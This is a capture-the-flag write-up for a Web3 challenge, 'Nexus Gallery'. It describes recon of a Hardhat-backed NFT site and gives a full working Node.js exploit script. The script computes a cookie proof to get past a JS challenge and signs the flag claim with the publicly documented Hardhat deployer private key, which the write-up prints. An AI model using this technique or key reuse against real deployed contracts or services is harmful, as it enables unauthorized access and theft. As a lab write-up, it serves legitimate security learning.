← All writeups

Web

CDDC2026 — Nexus Gallery

Category: Web / Web3 Flag: CDDC2026{qu3u3_syst3m_byp4ss_w1th_n0_l1m1t_ch3ck} Target: https://cddc2026-challs-alb-2050157501.ap-southeast-1.elb.amazonaws.com:7218

"In the lower Rift, 'Nexus Gallery' was found; a place of NFT trading. Investigate the gallery, search for any hidden data."


TL;DR

The Nexus Gallery is a fake NFT marketplace fronting a private Hardhat EVM chain. The contract's isEligibleForFlag(address) returns true only for the deployer, but the deployer is Hardhat's default account #0 (0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266), whose private key is publicly documented in the Hardhat docs. Re-using that well-known key to sign the claim message yields the flag.

The challenge name (qu3u3_syst3m_byp4ss_w1th_n0_l1m1t_ch3ck) hints at the intended path — bypassing the server's daily-mint queue / limit check — but because the eligibility check is per-address only and the deployer is already eligible, no rate-limit work is needed: the wallet itself is the shortcut.


Recon

Landing page

The index page hides several decoy "leaks" in HTML comments:

<!-- HINT: Private keys stored at /internal/keys/wallet.json -->
<!-- Admin panel: /admin/dashboard -->
<!-- REDIS_PASSWORD=definitely_not_the_real_password_123 -->
<!-- SECRET_KEY=this_is_a_decoy_key_do_not_use -->
<!-- ADMIN_TOKEN=Bearer_fake_jwt_token_xyZ789 -->

All of these /internal/..., /admin/... paths return 404. They are red herrings.

The real interesting bits come from the linked JS:

Contract ABI (from /js/contract.js)

const CONTRACT_ABI = [
  "function isEligibleForFlag(address user) external view returns (bool)",
  "function nftCount(address) external view returns (uint256)"
];

The claim flow is:

async claimFlag() {
  const address = await this.signer.getAddress();
  const message = `claim-flag:${address.toLowerCase()}`;
  const signature = await this.signer.signMessage(message);
  const response = await fetch('/api/claim-flag', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    credentials: 'same-origin',
    body: JSON.stringify({ signature })
  });
  ...
}

So the server:

  1. Reads wallet_address from the session cookie
  2. Verifies a signature on claim-flag:<address-lowercase>
  3. Calls isEligibleForFlag(wallet_address) on-chain
  4. Returns the flag if eligible

Chain endpoint

GET /api/contract-info:

{
  "contractAddress":"0x5FbDB2315678afecb367f032d93F642f64180aa3",
  "network":"localhost",
  "chainId":13370,
  "rpcUrl":".../api/rpc"
}

Two big tells here:

The proxied RPC at /api/rpc is heavily restricted:

Chain history

Block-by-block enumeration via eth_getBlockByNumber + eth_getTransactionReceipt:

Block From → To Event
1 0xf39f...null Contract deployment
2 0xf39f...0x1111...1111 ETH transfer (decoy)
3 0xf39f... → contract Event 0x100fe8... (mint to 0x1234...)
4–7 0xf39f... → contract Event 0x512ec0... (×4)
8 0xf39f... → contract Event 0x100fe8... (mint to 0x1111...)
9–11 0xf39f... → various ETH transfers (0x1234..., 0x0, 0x7d93...)
12–15 0x7d93... → contract All status: 0x0failed user attempts

The deployer is 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266. This is Hardhat's default account #0 — its private key is published in every Hardhat README:

0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80

False starts (worth documenting)

A few rabbit holes that did not work, in case future challs need them:

  1. Brute-forcing event-topic preimages. The mystery bytes32 values in the 0x512ec0... events are not keccak256 of gallery item names, simple keywords, or short alphanumeric strings (exhausted ≤4 chars).
  2. Direct mint(address) from our wallet. Tried a dozen plausible selectors (mint, mintTo, safeMint, claim, etc.) via eth_sendRawTransaction. All reverted — the mint function is gated by onlyOwner (deployer).
  3. Spamming /api/mint. Caps at 1/day per session cookie and per address inside the contract. Resetting cookies gives "Transaction failed" instead of "Daily mint limit reached" — the contract enforces too.
  4. Deploying a reader contract to staticcall nftCount / isEligibleForFlag and emit results as events. Blocked: the proxied RPC rejects to: null transactions.
  5. SSRF via /api/preview-artwork. Behind a captcha gate (anti-noise animated GIF) and a custom js_challenge/js_proof djb2 cookie pair. Solvable but unnecessary.
  6. Reading the captcha via frame stacking. Got partially readable output (averaging 16 frames cancels noise) but never needed it.

Solution

The actual eligibility check is per-address. The deployer is the only eligible address. The deployer's private key is public.

const { ethers } = require('ethers');
const fetch = (...a) => import('node-fetch').then(({default:f})=>f(...a));

const BASE = 'https://cddc2026-challs-alb-2050157501.ap-southeast-1.elb.amazonaws.com:7218';
const HARDHAT_PK = '0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80';

(async () => {
  const fetchFn = (await import('node-fetch')).default;
  const w = new ethers.Wallet(HARDHAT_PK);

  // cookie jar
  let cookies = {};
  const cookieHdr = () =>
    Object.entries(cookies).map(([k,v])=>`${k}=${v}`).join('; ');
  async function req(path, opts={}){
    opts.headers = { ...opts.headers, Cookie: cookieHdr() };
    const r = await fetchFn(BASE+path, opts);
    for (const c of r.headers.raw()['set-cookie'] || []) {
      const [kv] = c.split(';');
      const i = kv.indexOf('=');
      cookies[kv.slice(0,i).trim()] = kv.slice(i+1);
    }
    return r;
  }

  // 1. Pick up js_challenge cookie and compute djb2 proof
  await req('/');
  const c = cookies.js_challenge;
  let h = 5381;
  for (let i=0;i<c.length;i++) h = ((h<<5)+h+c.charCodeAt(i)) & 0xFFFFFFFF;
  cookies.js_proof = (h>>>0).toString(16);

  // 2. Bind the well-known deployer address to our session
  await req('/api/wallet/connect', {
    method:'POST',
    headers:{'Content-Type':'application/json'},
    body: JSON.stringify({ address: w.address })
  });

  // 3. Sign the claim message and submit
  const sig = await w.signMessage('claim-flag:' + w.address.toLowerCase());
  const r = await req('/api/claim-flag', {
    method:'POST',
    headers:{'Content-Type':'application/json'},
    body: JSON.stringify({ signature: sig })
  });
  console.log(await r.text());
})();

Output:

{"success":true,"flag":"CDDC2026{qu3u3_syst3m_byp4ss_w1th_n0_l1m1t_ch3ck}"}

Lesson

The "hidden data" was the identity of the deployer, sitting in plain sight in eth_getTransactionReceipt of block 1. Whenever a Hardhat or Anvil node is exposed in a CTF, check the deployer against the published default mnemonics — most challenges that pass that constant through end up trivially solvable.

The challenge author seems to have intended a different path (probably an SSRF + queue-bypass chain, per the flag text), but the contract's eligibility check is purely on the wallet address and the deployer is already eligible, so the side door dominates the front door.